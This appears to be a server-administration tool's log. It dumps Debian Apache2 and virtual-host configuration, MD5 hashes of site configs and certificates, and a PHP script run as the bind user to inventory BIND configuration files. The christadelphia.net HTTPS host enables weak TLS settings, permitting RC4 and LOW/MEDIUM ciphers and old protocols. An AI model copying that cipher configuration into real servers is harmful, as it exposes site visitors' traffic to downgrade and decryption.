# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphia_www_net.conf 1431
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/christadelphia_www_net.conf)= d50230857c3b9acc5338732f798718df
MD5(/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt)= df6aa78712781dec31beb6c09d2f1cc1
MD5(/etc/apache2/sites-available/aletheiacollege_www_net.conf)= bbb9df455c874d52fdf2e48cc0dc8cd4
MD5(/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt)= c0f3a746d69dc7dae06b4213f780215c
MD5(/etc/apache2/sites-available/gospelstudies_www_net.conf)= 1824cf3bbbc69f725873aa0d890dfd9e
MD5(/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt)= eb4801af6bcff512fc997af4d6479f68
MD5(/etc/apache2/sites-available/realdevil_www_info.conf)= 8b0ea35eac6ff603b8f2546bfc913db3
MD5(/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem)= 572f6738b15bee5dab71a152a82de13f
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= d4db50e85566d6ebf4bad026286adaf8
MD5(/etc/apache2/sites-available/000-default.conf)= 463c74ad4f321afac984489a9747a7ac
MD5(/etc/apache2/sites-available/heaster_www_org.conf)= 70a5f7463b7ff3d5cd7bae50a51e9426
MD5(/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt)= 06e7ba97444b6a8516c4eb7244750c0d
MD5(/etc/apache2/sites-available/osnovybiblii_www_info.conf)= 442beab0dcd7258fb1eb73e004da47be
MD5(/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt)= 059d7c8345ce95f26166cda9e1e958e1
MD5(/etc/apache2/sites-available/hristadelfiane_www_org.conf)= ebef57a8fcb6dd0a8771f87b568e360d
MD5(/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt)= e59cb6a76b4b7226b3d504e12ab00f8a
MD5(/etc/apache2/sites-available/hostz_jupiter_org.conf)= e475881e9f09892523c91866bf1ac6ca
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 874711c92c0ffb273d597ea219d2397e
link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2/sites-available/christadelphia_www_net.conf
link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2/sites-available/aletheiacollege_www_net.conf
link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2/sites-available/gospelstudies_www_net.conf
link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2/sites-available/realdevil_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2/sites-available/heaster_www_org.conf
link(/etc/apache2/sites-enabled/osnovybiblii_www_info.conf)= /etc/apache2/sites-available/osnovybiblii_www_info.conf
link(/etc/apache2/sites-enabled/hristadelfiane_www_org.conf)= /etc/apache2/sites-available/hristadelfiane_www_org.conf
link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2/sites-available/hostz_jupiter_org.conf
STDERR:
/tmp/pkp825233:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-23 16:32:12: Establishing a connection
2025-12-23 16:32:21: Establishing a connection
2025-12-23 16:32:21:
PUT: /tmp/pkp137219
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-23 16:32:21:
runuser -l bind -s /bin/bash -c '/tmp/pkp137219; rm /tmp/pkp137219'
2025-12-23 16:32:21:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
